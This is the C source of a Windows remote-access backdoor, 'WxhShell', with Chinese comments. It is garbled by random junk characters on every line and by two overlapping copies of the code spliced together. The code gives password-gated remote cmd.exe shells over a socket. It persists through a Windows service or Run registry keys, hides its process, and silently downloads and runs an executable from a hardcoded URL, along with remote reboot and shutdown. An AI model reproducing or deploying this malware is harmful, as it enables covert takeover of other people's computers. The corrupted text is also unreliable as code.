    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b_V)]>v+  
    else { QI=SR  
    closesocket(wsh); Aplqx vth  
    ExitThread(0); RfN5X}&A  
    } 'ZT!a]4  
    break; dq:M!F  
    } kGc)Un?'{U  
  // 获取shell }E>2U/wpXY  
  case 's': { Km+29  
    CmdShell(wsh); _I{&5V~z  
    closesocket(wsh); b% $S6.  
    ExitThread(0); b${Kj3(  
    break; 7azxqa5:  
  } 2"<}9A<Xs  
  // 退出 +Ya-h~7;g#  
  case 'x': { ,z%F="@b9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /f%u_ 8pV%  
    CloseIt(wsh); J)jiI>  
    break; ~d{E>J77j  
    }  k[vn:  
  // 离开 {B\.8)&8  
  case 'q': { 5I&^n0h|&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +\:I3nKs%  
    closesocket(wsh); ew`R=<mZ,7  
    WSACleanup(); , R^Pk6m>  
    exit(1); 2tWUBt\,g  
    break; L~mL9[(,  
        } Z@ I%ppd  
  } ;V@} oD+  
  } `gss(o1}  
{ @-Q1  
  // 提示信息 /itO xrA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .}Zmqz[  
} Ok:@F/ v  
  } aY {.  
m   
  return; 1H[lf B  
} |23 }~c,  
ZV Gw@3  
// shell模块句柄 3_ zI$Z  
int CmdShell(SOCKET sock) MfL q h  
{ G3U+BC23E  
STARTUPINFO si; 4h~Oj y16&  
ZeroMemory(&si,sizeof(si)); pt0H*quwI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VX>_Sp s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9CN / v  
PROCESS_INFORMATION ProcessInfo; k~vmHb  
char cmdline[]="cmd"; Ffhbs D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !^m5by  
  return 0; M>]%Iu  
} 5#fLGXP  
F)%; gzs  
// 自身启动模式 q7)$WXe2LM  
int StartFromService(void) UfkRY<H  
{ #dl8+  
typedef struct sO  
{ E"" /dC:B  
  DWORD ExitStatus; 6F(yH4  
  DWORD PebBaseAddress; {jc~s~<#  
  DWORD AffinityMask; oqY?#p/  
  DWORD BasePriority; 9iOlR=-*  
  ULONG UniqueProcessId; 5Px.G*  
  ULONG InheritedFromUniqueProcessId; 57j:Lw~   
}   PROCESS_BASIC_INFORMATION; 21WqLgT3 4  
L;f=\q"g  
PROCNTQSIP NtQueryInformationProcess; T,IV)aq  
#k"[TCQ>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P! 3$RO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SP*5 W)6  
JZtFt=>q  
  HANDLE             hProcess; UMX+h])#N  
  PROCESS_BASIC_INFORMATION pbi; D-~Jj&7  
HdLkof2i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R utW{wh  
  if(NULL == hInst ) return 0; +Va?wAnr  
WR-C_1-pT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jQr~@15J#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PRLV1o1#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); * c%@f<R~  
A8RT3OiXA  
  if (!NtQueryInformationProcess) return 0; (gf\VYM-7  
6vjB; uS[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |{jAMC0#  
  if(!hProcess) return 0; X or ,}. w  
UxvsSHi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YBCjcD[G  
qB39\j  
  CloseHandle(hProcess); a "DV`jn  
%~;Q_#CR/K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c6uKK h>  
if(hProcess==NULL) return 0; Y) h%<J  
~76.S  
HMODULE hMod; B0 I?  
char procName[255]; 48ma&f;  
unsigned long cbNeeded; 7qUtsDK  
r:5Ve&~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /2cI{]B  
D{4hNO  
  CloseHandle(hProcess); 3.0c/v5Go  
GA_`C"mx  
if(strstr(procName,"services")) return 1; // 以服务启动 ?iLd5 Z  
5An0D V5  
  return 0; // 注册表启动 u0Erz0*G4  
} 9$,gTU_a  
P\mm8s`f  
// 主模块 uT/B}`md  
int StartWxhshell(LPSTR lpCmdLine) yUW&Wgc=:  
{ ]`sIs= _[  
  SOCKET wsl; bQy%$7UmX,  
BOOL val=TRUE; `zp2;]W  
  int port=0; ]pV1T  
  struct sockaddr_in door; ]X~g@O{>_  
E)JyKm.  
  if(wscfg.ws_autoins) Install(); w;EXjl;X O  
i5KwYoN  
port=atoi(lpCmdLine); DjzUH{6O  
~snF20  
if(port<=0) port=wscfg.ws_port; ~Ex.Yp8.  
vNt>ESPB  
  WSADATA data; 9I\3T6&tr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bez'[Y{  
R-Q1YHUQM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6rQpK&Jx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kr(<Y|  
  door.sin_family = AF_INET; 7+a%ehwU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I26gGp  
  door.sin_port = htons(port); ~'2r&?=\  
"'!%};  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WYC1rfd=  
closesocket(wsl); A3$aMCwKd  
return 1; J`q}Ry;   
} ~$4.Mf,u  
M> jBm .  
  if(listen(wsl,2) == INVALID_SOCKET) { t\pK`DM-[  
closesocket(wsl); V 7l{hEo3?  
return 1; %R|"Afa=  
} "Ug/ ',jkV  
  Wxhshell(wsl); 7y)=#ZG'R  
  WSACleanup(); 4`6c28K0?  
c',:@2R  
return 0; P-+M,>vNy[  
$% Ci8p  
} t @(9ga(  
xIQ/$[&v  
// 以NT服务方式启动 V5O=iMP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )[^y t0%  
{ 2 {e dW+  
DWORD   status = 0; @0z0m;8  
  DWORD   specificError = 0xfffffff; Ug7`ez4vw  
i Y*o;z,~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @VC .>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f6B-~x<l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (!*Xhz,(-  
  serviceStatus.dwWin32ExitCode     = 0; n @ &"+  
  serviceStatus.dwServiceSpecificExitCode = 0; EmX>T>~#D  
  serviceStatus.dwCheckPoint       = 0; heL$2dZ5H  
  serviceStatus.dwWaitHint       = 0; ;8*XOC;[  
~=:2~$gsn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7uPZuXHxcu  
  if (hServiceStatusHandle==0) return; 9- xlvU,o  
R:'Ou:Mh  
status = GetLastError(); "1XXE3^^  
  if (status!=NO_ERROR) s\'y-UITi1  
{ gA~20LSt  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A~Z6jK  
    serviceStatus.dwCheckPoint       = 0; d,c8Hs8  
    serviceStatus.dwWaitHint       = 0; PiMKu|,3  
    serviceStatus.dwWin32ExitCode     = status; TB7>s~)47E  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;,1=zhKU.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;V_.[aX  
    return; Y5dD|]F|  
  } ^WE4*.(  
GE1i+.+-.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t})lr\  
  serviceStatus.dwCheckPoint       = 0; @#RuSc  
  serviceStatus.dwWaitHint       = 0; v(DwU!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q7X}MAW  
} .L9']zXc`  
nX0HT )}  
// 处理NT服务事件,比如:启动、停止 t, U) ~wi  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]@v}y&  
{ +R-h ,$\=7  
switch(fdwControl) eR:b=%T8  
{ 9O;cJ)tXY  
case SERVICE_CONTROL_STOP: '|A|vCRCG  
  serviceStatus.dwWin32ExitCode = 0; gtiEhCF2W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _7U]&Nh99  
  serviceStatus.dwCheckPoint   = 0; ? ^M /[@  
  serviceStatus.dwWaitHint     = 0; veeI==]  
  { *G9sy_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xc9YM0B&  
  } |0`hE;Kt7  
  return; <5S@ORN  
case SERVICE_CONTROL_PAUSE: <aJ $lseG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u*3NS$vH  
  break; 0}{'C5  
case SERVICE_CONTROL_CONTINUE:  qve ./  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "(v%1tGk  
  break; ,~COZi;R.D  
case SERVICE_CONTROL_INTERROGATE: nVE9^')8V  
  break; )VSwT x&  
}; ,apNwkY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a5@z:i  
} ~vHk&r]|  
"13 "`!m  
// 标准应用程序主函数 @@@=}!<H=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sIy  
{ nd ink$  
u:&o}[  
// 获取操作系统版本 {`(>O"_[Q  
OsIsNt=GetOsVer(); K=dR%c(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \\,f{?w  
(hB?  
  // 从命令行安装 l.`u5D  
  if(strpbrk(lpCmdLine,"iI")) Install(); )[L^Dmd,  
qnM|w~G  
  // 下载执行文件 eujK4s  
if(wscfg.ws_downexe) { DZ$` 4;C[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Tlq-m2]  
  WinExec(wscfg.ws_filenam,SW_HIDE); YAVy9$N-  
} a,|?5j9,P  
=w$tvo/  
if(!OsIsNt) { slu(SmQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 {D`'0Z1"  
HideProc(); mO*^1  
StartWxhshell(lpCmdLine); :O-iykXyI  
} iD`d99f8O  
else {2&m`D bm  
  if(StartFromService()) 4dawg8K`9  
  // 以服务方式启动 31WC=ur5  
  StartServiceCtrlDispatcher(DispatchTable); @%/]Q<<q  
else D&G"BZx|  
  // 普通方式启动 vI1i, x#i  
  StartWxhshell(lpCmdLine); lg :  
.IarkeCtb  
return 0; 0NDftcB]  
} KLoE&ds  
\1"'E@+  
n">u mM;Eh  
wh6yPVVF/  
=========================================== S! Rc|6y%  
)s_n  
dCyqvg6u  
=m89z}Ot  
{\H/y c|@  
+mj*o(  
" o+w;PP)+=  
Vj<:GRNQ,d  
#include <stdio.h> uvDzKMw~R  
#include <string.h> (*}yjUYLZ  
#include <windows.h> {]_uMg#!  
#include <winsock2.h> [.se|]t7X  
#include <winsvc.h> 5=Xy,hmnC  
#include <urlmon.h> z>sbr<doa  
m>USD? i  
#pragma comment (lib, "Ws2_32.lib") '* mH*?Y  
#pragma comment (lib, "urlmon.lib") De7T s  
L86n}+ P\  
#define MAX_USER   100 // 最大客户端连接数 ,B?~-2cCz  
#define BUF_SOCK   200 // sock buffer 1b=lpw 1}  
#define KEY_BUFF   255 // 输入 buffer |4$M]Mf0  
&'cL%.  
#define REBOOT     0   // 重启 r/pH_@  
#define SHUTDOWN   1   // 关机 Xq'cA9v=$J  
|*Z$E$k:  
#define DEF_PORT   5000 // 监听端口 rpeJkG@+  
9T#;,{VQ  
#define REG_LEN     16   // 注册表键长度 J+rCxn?;g  
#define SVC_LEN     80   // NT服务名长度 "$s~SIUB  
%ZHP2j %~  
// 从dll定义API RMMd#/A@}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~l;[@jsw F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \RNg|G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^u 3V E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %$%& m1Y  
U qG .:@T  
// wxhshell配置信息 V_plq6z  
struct WSCFG { Gy=B&boZ  
  int ws_port;         // 监听端口 ss;R8:5  
  char ws_passstr[REG_LEN]; // 口令 ~?B;!Csk  
  int ws_autoins;       // 安装标记, 1=yes 0=no v<Bynd-  
  char ws_regname[REG_LEN]; // 注册表键名 l5L.5 $N  
  char ws_svcname[REG_LEN]; // 服务名 L^Jk=8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Mq';S^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [+qCs7'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2^?:&1:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <n3!{w3<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o|jIM9/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 JN7k2]{  
?%H):r  
}; 1S@vGq}  
`xrmT t X  
// default Wxhshell configuration eh"3NRrN  
struct WSCFG wscfg={DEF_PORT, ca+[0w@S  
    "xuhuanlingzhe", S_~z-`;h!  
    1, y"Nsh>h  
    "Wxhshell", Ivb 4P`{  
    "Wxhshell", vTv]U5%:>%  
            "WxhShell Service", g2unV[()_  
    "Wrsky Windows CmdShell Service", ZJlEKib%2  
    "Please Input Your Password: ", GguFo+YeZ  
  1, PTj&3`v  
  "http://www.wrsky.com/wxhshell.exe", 28 3 H  
  "Wxhshell.exe" \W%UZs  
    }; I$8" N]/C  
dx ;k`r$w  
// 消息定义模块 Y@ZaJ@%9@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a')|1DnR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JgHM?AWg|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1h.)#g?{  
char *msg_ws_ext="\n\rExit."; |{,KRO0P  
char *msg_ws_end="\n\rQuit."; bGorH=pb5R  
char *msg_ws_boot="\n\rReboot..."; t=xOQ 8  
char *msg_ws_poff="\n\rShutdown..."; s@fTj$h  
char *msg_ws_down="\n\rSave to "; f  nI|  
JsotOic%  
char *msg_ws_err="\n\rErr!"; `SVmQSwO[  
char *msg_ws_ok="\n\rOK!"; v(p mI b{  
GIAc?;zY  
char ExeFile[MAX_PATH]; )Z %T27r,^  
int nUser = 0; pJ ?~fp  
HANDLE handles[MAX_USER]; u a\,->  
int OsIsNt; +kFxi2L6  
Zk[&IBE_  
SERVICE_STATUS       serviceStatus; ,k G>?4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8| $3OVS  
ZNx$r]4nF  
// 函数声明 Iuh/I +[7  
int Install(void); [}fv  dW  
int Uninstall(void); $U/YR&vcw  
int DownloadFile(char *sURL, SOCKET wsh); T\r@5Xv  
int Boot(int flag); +Y+Y6Ac[}  
void HideProc(void); *& m#qEv  
int GetOsVer(void); j+HHQd7Y  
int Wxhshell(SOCKET wsl); *@TZ+{t  
void TalkWithClient(void *cs); >fIk;6<{  
int CmdShell(SOCKET sock); |^9BA-nA  
int StartFromService(void); =V^.}WtO  
int StartWxhshell(LPSTR lpCmdLine); EKp@9\XBC  
F0690v0mB[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  kQ   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _FwK-?4E-  
$t/x;< .H  
// 数据结构和表定义 pn*3\  
SERVICE_TABLE_ENTRY DispatchTable[] = U#1bp}y  
{ $O^v]>h  
{wscfg.ws_svcname, NTServiceMain}, U!m @DJj  
{NULL, NULL} ^#0U  ?9  
}; ?^j^K-rx  
PH{_ ,X  
// 自我安装 MJ=)v]a  
int Install(void) ko^\ HSXl  
{ =!Q7}z1QI  
  char svExeFile[MAX_PATH]; >*wtbkU  
  HKEY key; 1$*%"5a  
  strcpy(svExeFile,ExeFile); ?,yj")+  
FV,4pi  
// 如果是win9x系统,修改注册表设为自启动 `f'K@  
if(!OsIsNt) { ^3hn0DVQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #b7$TV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +,2Jzl'-  
  RegCloseKey(key); X<R?uI?L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x}twsc`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yObuWDA9  
  RegCloseKey(key); !cGDy/ |  
  return 0; ujJI 1I  
    } B:Z_9,gj-N  
  } jzK5-;b  
} A*|cdY]HP  
else { +t2SzQ j>  
M4WiT<|]R  
// 如果是NT以上系统,安装为系统服务 vF?5].T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); apk4 j\i?5  
if (schSCManager!=0) 7r{83_B  
{ a {ab*tM  
  SC_HANDLE schService = CreateService c"n ?'e  
  ( n$[f94d=  
  schSCManager, 6; Y0a4Ax  
  wscfg.ws_svcname, cJgBI(S5  
  wscfg.ws_svcdisp, \u&_sBLKV  
  SERVICE_ALL_ACCESS, z]3 `*/B  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R1Ye<R!Q  
  SERVICE_AUTO_START, %AN/>\#p  
  SERVICE_ERROR_NORMAL, iVfgDo  
  svExeFile, +`uY]Q ,O  
  NULL, + S4fGT  
  NULL, qT/Do?Y  
  NULL, +-B^Z On  
  NULL, H\ 1qI7N C  
  NULL Ez{MU@Fk  
  ); ql<rU@  
  if (schService!=0) b~BIz95  
  { ?6!]Nl1gr  
  CloseServiceHandle(schService); dSCzx .c  
  CloseServiceHandle(schSCManager); }oJAB1'k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); VB<Jf'NU  
  strcat(svExeFile,wscfg.ws_svcname); >h+349  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +\"-P72vjk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gDIBnH  
  RegCloseKey(key); J1XL<7  
  return 0; Db"DG(  
    } ;#MB7A  
  } al+ #y)+  
  CloseServiceHandle(schSCManager); i!~'M;S  
} ""svDfy$  
} iE.-FZc  
)wVIb)`R>Y  
return 1; :SV>+EDY   
} $W;b{H=F  
b6E<r>q  
// 自我卸载 t\v+ogbk)  
int Uninstall(void) >5G>D~b  
{ gN {'UDg  
  HKEY key; .qob_dRA  
E VQ0l@K  
if(!OsIsNt) { #Dfo#]k(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _8G>&K3T<  
  RegDeleteValue(key,wscfg.ws_regname); g+PPW88P;  
  RegCloseKey(key); TEsnNi 1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U1_&gy @y  
  RegDeleteValue(key,wscfg.ws_regname); 6x=YQwn~  
  RegCloseKey(key); a,7 &"  
  return 0; 8j1ekv  
  } UhmTr[&  
} q8ImrC.'^  
} AnZclqtb  
else { B}d.#G+_$x  
&L^CCi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); oVCmI"'  
if (schSCManager!=0) I?Q+9Rmm`J  
{ fa.0I~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F>gmj'-^  
  if (schService!=0) V^Rkt%JY  
  { tZ2e!<C  
  if(DeleteService(schService)!=0) { l.nH?kK<  
  CloseServiceHandle(schService); F~U!1)  
  CloseServiceHandle(schSCManager); ]TstSF=  
  return 0; irTv4ZE'+l  
  } 0uCT+-  
  CloseServiceHandle(schService); 4e9q`~ sO  
  } YwH./)r=  
  CloseServiceHandle(schSCManager); <Q<+4Y{R  
} >5T_g2pkv  
} 9j*0D("  
N~ANjn/wL  
return 1; +\#Fd  
} BKU'`5`  
~YCuO0t  
// 从指定url下载文件 >6Lm9&}  
int DownloadFile(char *sURL, SOCKET wsh) ngi<v6i  
{ e~v(eK_  
  HRESULT hr; l0tYG[  
char seps[]= "/"; z (c9,3  
char *token; b]gY~cbI8  
char *file; ezTZnutZ  
char myURL[MAX_PATH]; G[idN3+#  
char myFILE[MAX_PATH]; .]Mn^2#j  
7.bN99{xPM  
strcpy(myURL,sURL); *@ED}Mj+  
  token=strtok(myURL,seps); [FQ\I-GNC  
  while(token!=NULL) !.fw,!}hOD  
  { `"k9wC1  
    file=token; Y|0ow_oH  
  token=strtok(NULL,seps); VanB>|p6  
  } }gf}eH  
`Iy4=nVb  
GetCurrentDirectory(MAX_PATH,myFILE); p SN~DvR  
strcat(myFILE, "\\"); b~7drf  
strcat(myFILE, file); h7qBp300  
  send(wsh,myFILE,strlen(myFILE),0); MEwdw3  
send(wsh,"...",3,0); +?`b=6e(`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @kD8^,(oH  
  if(hr==S_OK) 8(X0 :  
return 0; _|isa]u\ z  
else wz -)1!  
return 1; TF+ l5fv  
|kiJ}oy  
} '4;6u]d)2  
-pTI?  
// 系统电源模块 :XT?jdg  
int Boot(int flag) MmU%%2QG  
{ Uedvc5><t  
  HANDLE hToken; nq`q[KV:  
  TOKEN_PRIVILEGES tkp; bdc\  
i RmQ5ezk  
  if(OsIsNt) { CBD_a#K{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ; 7G_f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |;;!8VO3J  
    tkp.PrivilegeCount = 1; @Z\2*1y6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a}.Y!O&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'zgvQMu  
if(flag==REBOOT) { F!KV\?eM$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Na!za'qk[o  
  return 0; qjC_*X!  
} V"d=.Hb>  
else { 2DMrMmLI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Sw! j=`O  
  return 0; )@:l^$x  
} ekzjF\!y  
  } hH+bt!aH  
  else { +?N}Y{Y&  
if(flag==REBOOT) { [wcA.g*F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /! ^P)yU,  
  return 0; QdDtvJLf  
} C*wdtEGq  
else { 8@7AE"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Sr y,@p)  
  return 0; B/YcSEY;  
} k0&lu B%  
}  Q&+c.S  
*PB/iVH%6  
return 1; -l.pA(O  
} tjb/[RQ  
{ R*Y=Ie  
// win9x进程隐藏模块 3YTIH2z 5  
void HideProc(void) Fd !iQ  
{ Q#rt<S1zW  
F_PTMl=Q|J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o8D{dS>,PL  
  if ( hKernel != NULL ) %aLCH\e  
  { _bQL[eXd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  <qn,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rdI]\UH  
    FreeLibrary(hKernel); W'G{K\(/  
  } LkaG[^tfN  
b{HhS6<K?  
return; ?Y!^I2Y6  
} QeK{MF  
J8h7e}n?  
// 获取操作系统版本 %AgA -pBp  
int GetOsVer(void) :1BM=_WwI  
{ zv9M HC &  
  OSVERSIONINFO winfo; Kfd_uXL>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }@*I+\W/  
  GetVersionEx(&winfo); BA`:miH<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DrFur(=T  
  return 1; HwW6tQ  
  else kC|Tubs(  
  return 0; >e_%M5 0  
} @{bb'q['@  
{tmKCG  
// 客户端句柄模块 _jDS"  
int Wxhshell(SOCKET wsl) o#dcD?^  
{ /.2u.G  
  SOCKET wsh; i?W]*V~ply  
  struct sockaddr_in client; uA^hCh-js  
  DWORD myID; q'2`0MRa  
|I/,F;'  
  while(nUser<MAX_USER) )8bFGX7|  
{ =1Ri]b  
  int nSize=sizeof(client); 7 {nl..`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qdO[d|d  
  if(wsh==INVALID_SOCKET) return 1; e|~C?Ow'J  
u'=(&><  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (>mi!:  
if(handles[nUser]==0) !+=Zjm4L  
  closesocket(wsh); |a>}9:g,=*  
else hXPocP  
  nUser++; Y[h#hZ  
  } quY "  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); htV#5SUx&  
w)^\_uAlS  
  return 0; Jxn3$  
} }E,jR=@  
Nr%(2[$ =  
// 关闭 socket 0K/G&c?;=  
void CloseIt(SOCKET wsh) ]L$4P y  
{ Hw y5G ;  
closesocket(wsh); JxnuGkE0[#  
nUser--; l:q8Pg)  
ExitThread(0); T G_bje  
} CJv> /#$/F  
xM%`K P.8X  
// 客户端请求句柄 _HLC>pH~#  
void TalkWithClient(void *cs) /%5_~Jkr,  
{ ;m' '9z)2  
E*OG-r   
  SOCKET wsh=(SOCKET)cs; A3z/Bz4]:#  
  char pwd[SVC_LEN]; YWSz84d  
  char cmd[KEY_BUFF]; =?HzNA$yh  
char chr[1]; &;E d*OJ  
int i,j; Oy:QkV9  
TR~|c|B  
  while (nUser < MAX_USER) { u0s'6=  
m$,cH>E  
if(wscfg.ws_passstr) {  WN$R[N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RZW$!tyI=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %3rTQ:X  
  //ZeroMemory(pwd,KEY_BUFF); r)OO&. P@j  
      i=0; '7t|I6$ow  
  while(i<SVC_LEN) { FOeVRq:#  
"Wo.8  
  // 设置超时 n>br,bQe  
  fd_set FdRead; Q!YF!WoBX  
  struct timeval TimeOut; IF5sqv  
  FD_ZERO(&FdRead); '/ihL ^^@L  
  FD_SET(wsh,&FdRead); I/Sv"X6E  
  TimeOut.tv_sec=8; KUF$h Er  
  TimeOut.tv_usec=0; d3Y(SPO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .N/GfR`0/<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); | O57N'/  
/8=:qIJYA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m5)EQE}gPp  
  pwd=chr[0]; xLe =d|6  
  if(chr[0]==0xd || chr[0]==0xa) { J`YnT  
  pwd=0; P87ld._  
  break; {,i=>%X*  
  } y!SF/i?Py  
  i++; /%62X{=>;  
    } D!X>O}  
*e%Dg{_  
  // 如果是非法用户,关闭 socket M8\G>0Hc6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Vu_&~z7h  
} Z "-ntx#  
4pLQ"&>}80  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f( ]R/'o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mPckf  
(L`l+t1  
while(1) { ;0;3BH A  
anK[P'Y  
  ZeroMemory(cmd,KEY_BUFF); 'CS^2Z  
mr@_ %U  
      // 自动支持客户端 telnet标准   m~##q}LZ  
  j=0; v>rqOI  
  while(j<KEY_BUFF) { *4-r`k|@>/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ok*VQKyDLH  
  cmd[j]=chr[0]; `@4 2jG}*  
  if(chr[0]==0xa || chr[0]==0xd) { :-$cdZ3E  
  cmd[j]=0; 2IKxh  
  break; ]#vWKNv:;  
  } `oB'(  
  j++; b;Hm\aK  
    } :/>7$)+  
>BJ2v=R A  
  // 下载文件 3?.6K0L  
  if(strstr(cmd,"http://")) { ^Yf3"D?&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w/qQ(]n8  
  if(DownloadFile(cmd,wsh)) uG2Xkj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ARmu{cL  
  else BXT 80a\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n"XdHW0  
  } lO551Y^  
  else { : [A?A4l  
